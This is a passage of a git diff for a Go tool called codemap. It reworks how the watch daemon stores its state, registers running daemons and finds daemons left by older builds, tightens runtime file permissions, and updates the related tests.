os.RemoveAll(dir) + os.Exit(code) +} diff --git a/watch/daemon.go b/watch/daemon.go index f395f93c..07379c24 100644 --- a/watch/daemon.go +++ b/watch/daemon.go @@ -12,7 +12,6 @@ import ( "codemap/analysis" "codemap/config" - "codemap/internal/gitexclude" "codemap/internal/projectpath" "codemap/limits" "codemap/scanner" @@ -32,6 +31,7 @@ type Daemon struct { root string configDir string configPath string + autoConfig string // used while configPath does not exist runtimeDir string graph *Graph watcher *fsnotify.Watcher @@ -87,7 +87,7 @@ func (d *Daemon) runtimeStateDir() (string, error) { func (d *Daemon) loadConfig() config.ProjectConfig { if d.configPath != "" { - return config.LoadFile(d.configPath) + return config.LoadFirst(d.configPath, func() string { return d.autoConfig }) } if d.configDir != "" { return config.LoadFile(filepath.Join(d.configDir, "config.json")) @@ -103,9 +103,6 @@ func (d *Daemon) ensurePublisher() error { if err != nil { return err } - if err := gitexclude.MkdirAll(runtimeDir, 0o755); err != nil { - return err - } d.publisher = newStatePublisher(d, filepath.Join(runtimeDir, "state.json"), "legacy-test-instance") return nil } @@ -118,7 +115,7 @@ func NewDaemon(root string, verbose bool) (*Daemon, error) { if err != nil { return nil, fmt.Errorf("resolve runtime state: %w", err) } - runtimeDir := filepath.Join(selection.RuntimeDir, "projects", projectpath.ProjectKey(selection.ProjectRoot)) + runtimeDir := selection.ProjectDir watcher, err := fsnotify.NewWatcher() if err != nil { @@ -136,6 +133,7 @@ func NewDaemon(root string, verbose bool) (*Daemon, error) { root: absRoot, configDir: selection.PolicyDir, configPath: filepath.Join(selection.PolicyDir, "config.json"), + autoConfig: filepath.Join(runtimeDir, config.AutoConfigFile), runtimeDir: runtimeDir, watcher: watcher, gitCache: gitCache, @@ -169,20 +167,11 @@ func (d *Daemon) Start() error { if err := d.ensurePublisher(); err != nil { return fmt.Errorf("resolve runtime state: %w", err) } - runtimeDir, err := d.runtimeStateDir() - if err != nil { - return fmt.Errorf("resolve runtime state: %w", err) - } - codemapDir := runtimeDir - if err := gitexclude.MkdirAll(codemapDir, 0755); err != nil { - return fmt.Errorf("failed to create .codemap dir: %w", err) - } - // Ensure the config directory exists; it is watched so config edits can - // refresh the configured-file inventory. + // The config directory is watched so config edits refresh the configured + // inventory. Only an explicit setup creates it (#184); without it there + // is no config to watch. configDir := d.configDir - if err := gitexclude.MkdirAll(configDir, 0755); err != nil { - return fmt.Errorf("failed to create .codemap dir: %w", err) - } + _, configDirErr := os.Stat(configDir) // Initial full scan if err := d.fullScan(); err != nil { @@ -198,8 +187,10 @@ func (d *Daemon) Start() error { if err := d.addWatchDirs(); err != nil { return fmt.Errorf("failed to add watch dirs: %w", err) } - if err := d.watcher.Add(configDir); err != nil { - return fmt.Errorf("failed to watch .codemap dir: %w", err) + if configDirErr == nil { + if err := d.watcher.Add(configDir); err != nil { + return fmt.Errorf("failed to watch .codemap dir: %w", err) + } } if err := ensureControlDirectory(d.publisher.flushDir); err != nil { return fmt.Errorf("create flush directory: %w", err) diff --git a/watch/events.go b/watch/events.go index 3f7e6460..77da19a2 100644 --- a/watch/events.go +++ b/watch/events.go @@ -971,7 +971,7 @@ func (d *Daemon) logEvent(e Event) { if err := requireRegularRuntimeFile(d.eventLog); err != nil && !os.IsNotExist(err) { return } - f, err := runtimefile.OpenAppend(d.eventLog, 0o644) + f, err := runtimefile.OpenAppend(d.eventLog, 0o600) if err != nil { return } @@ -1061,7 +1061,7 @@ func trimEventLogToBytes(path string, maxBytes, keepBytes int64) error { return nil } - f, err := os.Open(path) + f, err := runtimefile.OpenRead(path) if err != nil { return err } @@ -1085,7 +1085,9 @@ func trimEventLogToBytes(path string, maxBytes, keepBytes int64) error { tail = tail[idx+1:] } - return os.WriteFile(path, tail, 0644) + // Close before replacing: Windows refuses to replace a file that is still open. + f.Close() + return runtimefile.WriteAtomic(path, tail, 0o600) } // countLines counts lines in a file efficiently (no full read into memory) diff --git a/watch/publication.go b/watch/publication.go index 2d552b70..1ab13b23 100644 --- a/watch/publication.go +++ b/watch/publication.go @@ -96,7 +96,7 @@ func (p *statePublisher) snapshot(generation uint64) State { func (p *statePublisher) publish() error { next := p.generation + 1 - err := runtimefile.WriteAtomicWith(p.path, 0o644, func(w io.Writer) error { + err := runtimefile.WriteAtomicWith(p.path, 0o600, func(w io.Writer) error { encoder := json.NewEncoder(w) encoder.SetIndent("", " ") return encoder.Encode(p.snapshot(next)) @@ -138,7 +138,7 @@ func (p *statePublisher) recordWriteFailure(err error) { p.writeFailure.LastFailedAt = now p.writeFailure.Attempts++ if data, marshalErr := json.Marshal(p.writeFailure); marshalErr == nil { - _ = runtimefile.WriteAtomic(p.writeFailurePath(), data, 0o644) + _ = runtimefile.WriteAtomic(p.writeFailurePath(), data, 0o600) } } diff --git a/watch/registry.go b/watch/registry.go index 16768075..b3373649 100644 --- a/watch/registry.go +++ b/watch/registry.go @@ -27,9 +27,12 @@ const daemonRegistryEnv = "CODEMAP_DAEMON_REGISTRY" // DaemonInfo is one registered daemon. type DaemonInfo struct { - PID int `json:"pid"` - Root string `json:"root"` - Started time.Time `json:"-"` + PID int `json:"pid"` + Root string `json:"root"` + // StateDir holds the daemon's pid file; binaries before it was recorded + // leave it empty. + StateDir string `json:"state_dir,omitempty"` + Started time.Time `json:"-"` } type registryEntry struct { @@ -37,32 +40,55 @@ type registryEntry struct { path string } +// daemonRegistryDir is UserDir/daemons, beside the state dirs, unless +// daemonRegistryEnv overrides it. func daemonRegistryDir() (string, error) { if dir := os.Getenv(daemonRegistryEnv); dir != "" { return dir, nil } - home, err := os.UserHomeDir() - if err != nil { - return "", err + base, ok := projectpath.UserDir() + if !ok { + return "", projectpath.ErrNoStateDir } - return filepath.Join(home, ".codemap", "daemons"), nil + return filepath.Join(base, "daemons"), nil } -// registerDaemon records pid for root. Failures are ignored: a daemon must -// start even when the home directory is unwritable. -func registerDaemon(root string, pid int) { +// registerDaemon records pid and its state dir for root. Failures are +// ignored: a daemon must start even when the home directory is unwritable. +func registerDaemon(root string, pid int, stateDir string) { dir, err := daemonRegistryDir() if err != nil { return } - if err := os.MkdirAll(dir, 0o755); err != nil { + if os.Getenv(daemonRegistryEnv) == "" { + if dir, err = projectpath.EnsureUserSubdir("daemons"); err != nil { + return + } + } else if err := os.MkdirAll(dir, 0o700); err != nil { return } - payload, err := json.Marshal(DaemonInfo{PID: pid, Root: canonicalRoot(root)}) + payload, err := json.Marshal(DaemonInfo{PID: pid, Root: canonicalRoot(root), StateDir: stateDir}) if err != nil { return } - _ = runtimefile.WriteAtomic(filepath.Join(dir, projectpath.ProjectKey(root)+".json"), payload, 0o644) + _ = runtimefile.WriteAtomic(filepath.Join(dir, projectpath.ProjectKey(root)+".json"), payload, 0o600) +} + +// registeredDaemon returns the entry the registry records for root, if any. +func registeredDaemon(root string) (DaemonInfo, bool) { + dir, err := daemonRegistryDir() + if err != nil { + return DaemonInfo{}, false + } + data, err := runtimefile.Read(filepath.Join(dir, projectpath.ProjectKey(root)+".json")) + if err != nil { + return DaemonInfo{}, false + } + var info DaemonInfo + if json.Unmarshal(data, &info) != nil || info.PID <= 0 || canonicalRoot(info.Root) != canonicalRoot(root) { + return DaemonInfo{}, false + } + return info, true } // unregisterDaemon drops every entry naming pid. @@ -77,7 +103,7 @@ func unregisterDaemon(pid int) { // readDaemonRegistry returns every well-formed entry and deletes malformed ones. func readDaemonRegistry() []registryEntry { dir, err := daemonRegistryDir() - if err != nil { + if err != nil || runtimefile.CheckDir(dir) != nil { return nil } items, err := os.ReadDir(dir) @@ -151,3 +177,6 @@ func StopDaemon(d DaemonInfo) error { unregisterDaemon(d.PID) return nil } + +// ProcessAlive reports whether pid is a running process. +func ProcessAlive(pid int) bool { return processAlive(pid) } diff --git a/watch/state.go b/watch/state.go index 348cacfe..b68df3f5 100644 --- a/watch/state.go +++ b/watch/state.go @@ -9,7 +9,6 @@ import ( "strings" "time" - "codemap/internal/gitexclude" "codemap/internal/projectpath" "codemap/internal/runtimefile" ) @@ -128,14 +127,11 @@ func WriteProcessPID(root string, pid int) error { if err != nil { return err } - if err := gitexclude.MkdirAll(runtimeDir, 0o755); err != nil { - return err - } pidFile := filepath.Join(runtimeDir, "watch.pid") - if err := runtimefile.WriteAtomic(pidFile, []byte(fmt.Sprintf("%d", pid)), 0o644); err != nil { + if err := runtimefile.WriteAtomic(pidFile, []byte(fmt.Sprintf("%d", pid)), 0o600); err != nil { return err } - registerDaemon(root, pid) + registerDaemon(root, pid, runtimeDir) return nil } @@ -179,11 +175,11 @@ func ClaimDaemonPID(root string, pid int) (claimed bool, err error) { // ReadPID reads the daemon PID from the project's runtime namespace. func ReadPID(root string) (int, error) { - selection, err := projectpath.SelectRuntime(root) + dir, err := projectpath.StateDir(root) if err != nil { return 0, err } - return readPIDAt(projectpath.ProjectRuntimeDir(selection.ProjectRoot)) + return readPIDAt(dir) } // RemovePID removes the project's PID file. @@ -215,54 +211,60 @@ type ActiveRuntime struct { Directory string CanonicalRoot string PID int - Legacy bool - StalePIDPath string + // Legacy marks a live daemon for this root found only through the + // registry: it publishes state somewhere other than Directory (an older + // binary's layout), so it is stale and `watch start` replaces it. + Legacy bool + StalePIDPath string } -// ResolveActiveRuntime selects the project namespace, or a positively owned -// live legacy daemon during forward migration. +// ResolveActiveRuntime selects the project namespace and its live daemon, or a +// positively owned live daemon the registry records for this root. func ResolveActiveRuntime(root string) (ActiveRuntime, error) { - selection, err := projectpath.SelectRuntime(root) + selection, err := projectpath.Select(root) if err != nil { return ActiveRuntime{}, err } - base := ActiveRuntime{Directory: projectpath.ProjectRuntimeDir(selection.ProjectRoot), CanonicalRoot: selection.ProjectRoot} - var stalePath string - for _, candidate := range []ActiveRuntime{ - base, - // Keep the immediately-prior explicit setup-root layout readable during migration. - {Directory: filepath.Join(selection.LegacyDir, "projects", projectpath.ProjectKey(selection.ProjectRoot)), CanonicalRoot: selection.ProjectRoot, Legacy: true}, - {Directory: selection.LegacyDir, CanonicalRoot: selection.ProjectRoot, Legacy: true}, - } { - if candidate.Legacy && candidate.Directory == base.Directory { - continue - } - pid, readErr := readPIDAt(candidate.Directory) - if os.IsNotExist(readErr) { - continue - } - if readErr != nil || pid <= 0 { - return ActiveRuntime{}, ErrDaemonOwnershipUnknown - } - if !processAlive(pid) { - if candidate.Legacy { - continue - } - stalePath = filepath.Join(candidate.Directory, "watch.pid") - continue - } + dir, err := projectpath.StateDir(root) + if err != nil { + return ActiveRuntime{}, err + } + active := ActiveRuntime{Directory: dir, CanonicalRoot: selection.ProjectRoot} + pid, readErr := readPIDAt(active.Directory) + switch { + case os.IsNotExist(readErr): + case errors.Is(readErr, runtimefile.ErrUnsafe): + return ActiveRuntime{}, readErr + case readErr != nil || pid <= 0: + return ActiveRuntime{}, ErrDaemonOwnershipUnknown + case !processAlive(pid): + active.StalePIDPath = filepath.Join(active.Directory, "watch.pid") + default: switch daemonOwnershipForPID(selection.ProjectRoot, pid) { case ownershipOwned: - candidate.PID = pid - return candidate, nil + active.PID = pid + return active, nil case ownershipForeign: return ActiveRuntime{}, ErrForeignDaemonPID default: return ActiveRuntime{}, ErrDaemonOwnershipUnknown } } - base.StalePIDPath = stalePath - return base, nil + info, ok := registeredDaemon(selection.ProjectRoot) + if !ok || !processAlive(info.PID) || daemonOwnershipForPID(selection.ProjectRoot, info.PID) != ownershipOwned { + return active, nil + } + active.PID = info.PID + // A daemon whose recorded state dir holds its pid runs under another + // current layout (an explicit --setup-root): use it. Without that record + // it is an older binary's daemon. + if pid, err := readPIDAt(info.StateDir); info.StateDir != "" && err == nil && pid == info.PID { + active.Directory = info.StateDir + active.StalePIDPath = "" + return active, nil + } + active.Legacy = true + return active, nil } // PreserveStalePIDEvidence moves dead or malformed PID evidence aside under a @@ -301,7 +303,7 @@ func requireRegularRuntimeFile(path string) error { return err } if !info.Mode().IsRegular() { - return fmt.Errorf("unsafe runtime file %q", path) + return runtimefile.Unsafe(path) } return nil } @@ -350,7 +352,9 @@ func IsOwnedDaemon(root string) bool { // IsRunning checks if the daemon is running func IsRunning(root string) bool { active, err := ResolveActiveRuntime(root) - if err != nil || active.PID <= 0 { + // A Legacy daemon publishes elsewhere, so it counts as not running here and + // the start path replaces it. + if err != nil || active.PID <= 0 || active.Legacy { return false } // Liveness is checked in a platform-specific way: Signal(0) on Unix is @@ -369,6 +373,12 @@ func Stop(root string) error { if err != nil { return err } + return StopActive(active) +} + +// StopActive stops the daemon ResolveActiveRuntime found; the caller holds +// the transition lock. +func StopActive(active ActiveRuntime) error { if active.PID <= 0 { return fmt.Errorf("no daemon running: %w", os.ErrNotExist) } @@ -390,6 +400,10 @@ func Stop(root string) error { if processAlive(active.PID) { return ErrDaemonExitTimeout } + if active.Legacy { + unregisterDaemon(active.PID) + return nil + } if err := removePIDIfMatches(active.Directory, active.PID); err != nil { return err } @@ -413,9 +427,9 @@ func removePIDIfMatches(dir string, pid int) error { // RemoveProcessPID removes only the caller's still-current PID publication. func RemoveProcessPID(root string, pid int) error { - selection, err := projectpath.SelectRuntime(root) + dir, err := projectpath.StateDir(root) if err != nil { return err } - return removePIDIfMatches(projectpath.ProjectRuntimeDir(selection.ProjectRoot), pid) + return removePIDIfMatches(dir, pid) } diff --git a/watch/state_test.go b/watch/state_test.go index 14d82f9b..b26992bf 100644 --- a/watch/state_test.go +++ b/watch/state_test.go @@ -261,87 +261,95 @@ func TestExplicitSetupSeparatesMutableWatchFiles(t *testing.T) { } } -func TestResolveActiveRuntimeUsesOnlyExactlyOwnedLiveLegacyDaemon(t *testing.T) { - setup := t.TempDir() - project := filepath.Join(t.TempDir(), "project with space") - if err := os.Mkdir(project, 0o755); err != nil { - t.Fatal(err) - } - projectpath.SetSetupRoot(setup) - t.Cleanup(projectpath.ResetSetupRoot) - selection, err := projectpath.SelectRuntime(project) - if err != nil { - t.Fatal(err) - } - - process := exec.Command(os.Args[0], "-test.run=TestHelperWatchDaemonProcess", "--", "watch", "daemon", selection.ProjectRoot) +func startHelperDaemon(t *testing.T, root string) *exec.Cmd { + t.Helper() + process := exec.Command(os.Args[0], "-test.run=TestHelperWatchDaemonProcess", "--", "watch", "daemon", root) process.Env = append(os.Environ(), "CODEMAP_TEST_WATCH_HELPER=1") if err := process.Start(); err != nil { t.Fatal(err) } - t.Cleanup(func() { _ = process.Process.Kill(); _, _ = process.Process.Wait() }) - if err := os.MkdirAll(selection.LegacyDir, 0o755); err != nil { - t.Fatal(err) - } - if err := os.WriteFile(filepath.Join(selection.LegacyDir, "watch.pid"), []byte(fmt.Sprint(process.Process.Pid)), 0o644); err != nil { + go func() { _ = process.Wait() }() // reap, so a terminated helper is not a live zombie + t.Cleanup(func() { _ = process.Process.Kill() }) + return process +} + +// A daemon from an older binary publishes state elsewhere; only the registry +// knows it. It must be found (so no second one starts) yet count as not +// running here (so the start path replaces it), and Stop must end it. +func TestResolveActiveRuntimeFindsRegisteredDaemonOutsideStateDir(t *testing.T) { + project := filepath.Join(t.TempDir(), "project with space") + if err := os.MkdirAll(filepath.Join(project, ".git"), 0o755); err != nil { t.Fatal(err) } + root := projectpath.CanonicalPath(project) + process := startHelperDaemon(t, root) + registerDaemon(root, process.Process.Pid, "") active, err := ResolveActiveRuntime(project) if err != nil { t.Fatal(err) } - if active.Directory != selection.LegacyDir || !active.Legacy || active.PID != process.Process.Pid { - t.Fatalf("ResolveActiveRuntime() = %#v, want owned legacy daemon", active) + if !active.Legacy || active.PID != process.Process.Pid { + t.Fatalf("ResolveActiveRuntime() = %#v, want the registered daemon", active) } - - foreign := t.TempDir() - foreignProcess := exec.Command(os.Args[0], "-test.run=TestHelperWatchDaemonProcess", "--", "watch", "daemon", foreign) - foreignProcess.Env = append(os.Environ(), "CODEMAP_TEST_WATCH_HELPER=1") - if err := foreignProcess.Start(); err != nil { - t.Fatal(err) + if IsRunning(project) { + t.Fatal("IsRunning = true for a daemon that publishes outside the state dir") } - t.Cleanup(func() { _ = foreignProcess.Process.Kill(); _, _ = foreignProcess.Process.Wait() }) - if err := os.WriteFile(filepath.Join(selection.LegacyDir, "watch.pid"), []byte(fmt.Sprint(foreignProcess.Process.Pid)), 0o644); err != nil { - t.Fatal(err) + if err := Stop(project); err != nil { + t.Fatalf("Stop() = %v", err) } - if _, err := ResolveActiveRuntime(project); !errors.Is(err, ErrForeignDaemonPID) { - t.Fatalf("foreign ResolveActiveRuntime() error = %v, want ErrForeignDaemonPID", err) + if _, ok := registeredDaemon(root); ok { + t.Fatal("registry entry survived Stop") } } -func TestResolveActiveRuntimeFindsPriorExplicitSetupProjectDaemon(t *testing.T) { - setup := t.TempDir() - project := filepath.Join(t.TempDir(), "project") - if err := os.Mkdir(project, 0o755); err != nil { +// A daemon under an explicit --setup-root keeps its pid in another current +// layout; the registry names that dir, so it is used, never replaced. +func TestResolveActiveRuntimeUsesRegisteredDaemonOfAnotherLayout(t *testing.T) { + project := t.TempDir() + if err := os.Mkdir(filepath.Join(project, ".git"), 0o755); err != nil { t.Fatal(err) } - projectpath.SetSetupRoot(setup) - t.Cleanup(projectpath.ResetSetupRoot) - selection, err := projectpath.SelectRuntime(project) - if err != nil { + root := projectpath.CanonicalPath(project) + process := startHelperDaemon(t, root) + elsewhere := t.TempDir() + if err := os.WriteFile(filepath.Join(elsewhere, "watch.pid"), []byte(fmt.Sprint(process.Process.Pid)), 0o600); err != nil { t.Fatal(err) } - legacyDir := filepath.Join(selection.LegacyDir, "projects", projectpath.ProjectKey(selection.ProjectRoot)) - process := exec.Command(os.Args[0], "-test.run=TestHelperWatchDaemonProcess", "--", "watch", "daemon", selection.ProjectRoot) - process.Env = append(os.Environ(), "CODEMAP_TEST_WATCH_HELPER=1") - if err := process.Start(); err != nil { + registerDaemon(root, process.Process.Pid, elsewhere) + + active, err := ResolveActiveRuntime(project) + if err != nil { t.Fatal(err) } - t.Cleanup(func() { _ = process.Process.Kill(); _, _ = process.Process.Wait() }) - if err := os.MkdirAll(legacyDir, 0o755); err != nil { - t.Fatal(err) + if active.Legacy || active.PID != process.Process.Pid || active.Directory != elsewhere { + t.Fatalf("ResolveActiveRuntime() = %#v, want the other layout's daemon, not legacy", active) } - if err := os.WriteFile(filepath.Join(legacyDir, "watch.pid"), []byte(fmt.Sprint(process.Process.Pid)), 0o644); err != nil { + if !IsRunning(project) { + t.Fatal("IsRunning = false for a current daemon under another layout") + } +} + +func TestResolveActiveRuntimeIgnoresForeignRegisteredPID(t *testing.T) { + project := t.TempDir() + if err := os.Mkdir(filepath.Join(project, ".git"), 0o755); err != nil { t.Fatal(err) } + foreign := startHelperDaemon(t, t.TempDir()) + registerDaemon(project, foreign.Process.Pid, "") active, err := ResolveActiveRuntime(project) if err != nil { t.Fatal(err) } - if active.Directory != legacyDir || !active.Legacy || active.PID != process.Process.Pid { - t.Fatalf("ResolveActiveRuntime() = %#v, want prior setup-root daemon", active) + if active.PID != 0 || active.Legacy { + t.Fatalf("ResolveActiveRuntime() = %#v, want no daemon for a foreign pid", active) + } + if err := Stop(project); err == nil { + t.Fatal("Stop() succeeded with no daemon") + } + if !processAlive(foreign.Process.Pid) { + t.Fatal("Stop killed a daemon for another root") } } @@ -413,9 +421,6 @@ func TestStopOwnedDaemonWaitsForVerifiedExitBeforeRemovingPID(t *testing.T) { if err := Stop(root); err != nil { t.Fatal(err) } - if processAlive(process.Process.Pid) { - t.Fatal("Stop returned before daemon exit was observable") - } selection, err := projectpath.SelectRuntime(root) if err != nil { t.Fatal(err) diff --git a/watch/testmain_test.go b/watch/testmain_test.go index 72eb8d96..4c5c6300 100644 --- a/watch/testmain_test.go +++ b/watch/testmain_test.go @@ -16,6 +16,8 @@ func TestMain(m *testing.M) { os.Exit(1) } os.Setenv(daemonRegistryEnv, dir) + os.Setenv("HOME", dir) + os.Setenv("USERPROFILE", dir) code := m.Run() _ = os.RemoveAll(dir) os.Exit(code) diff --git a/watch/transition.go b/watch/transition.go index f213544c..7abd3d73 100644 --- a/watch/transition.go +++ b/watch/transition.go @@ -10,8 +10,8 @@ import ( "path/filepath" "time" - "codemap/internal/gitexclude" "codemap/internal/projectpath" + "codemap/internal/runtimefile" ) var ErrTransitionLocked = errors.New("watch daemon transition already in progress") @@ -45,11 +45,8 @@ func AcquireTransition(root string) (*Transition, error) { if err != nil { return nil, err } - if err := gitexclude.MkdirAll(selection.RuntimeDir, 0o755); err != nil { - return nil, err - } if info, err := os.Lstat(selection.RuntimeDir); err != nil || !info.IsDir() { - return nil, fmt.Errorf("unsafe runtime directory %q", selection.RuntimeDir) + return nil, runtimefile.Unsafe(selection.RuntimeDir) } path := filepath.Join(selection.RuntimeDir, "watch.transition") for attempt := 0; attempt < 2; attempt++ { @@ -114,7 +111,7 @@ func readTransition(path string) (transitionRecord, error) { if !info.Mode().IsRegular() { return transitionRecord{}, fmt.Errorf("unsafe transition lock %q", path) } - data, err := os.ReadFile(path) + data, err := runtimefile.Read(path) if err != nil { return transitionRecord{}, err } diff --git a/watch_readiness_test.go b/watch_readiness_test.go index e95680a5..c2ebef95 100644 --- a/watch_readiness_test.go +++ b/watch_readiness_test.go @@ -6,6 +6,7 @@ import ( "os/exec" "path/filepath" "runtime" + "strconv" "strings" "testing" "time" @@ -182,3 +183,23 @@ func TestRunWatchStartReportsDaemonThatDies(t *testing.T) { t.Fatalf("dead daemon left its PID file behind: %v", statErr) } } + +// A `watch start` that loses the transition lock and sees no daemon come up +// fails; it reports success only when a daemon is actually running. +func TestWatchStartLoserWithNoDaemonFails(t *testing.T) { + root := projectpathCanonical(t, stateFixture(t)) + selection, err := projectpath.SelectRuntime(root) + if err != nil { + t.Fatal(err) + } + lock := filepath.Join(selection.RuntimeDir, "watch.transition") + if err := os.WriteFile(lock, []byte(`{"pid":`+strconv.Itoa(os.Getpid())+`,"token":"held"}`), 0o600); err != nil { + t.Fatal(err) + } + previous := watchReadinessTimeout + t.Cleanup(func() { watchReadinessTimeout = previous }) + watchReadinessTimeout = 100 * time.Millisecond + if err := runWatchSubcommand("start", root); err == nil || !strings.Contains(err.Error(), "no daemon came up") { + t.Fatalf("watch start with a held lock and no daemon = %v, want a failure", err) + } +}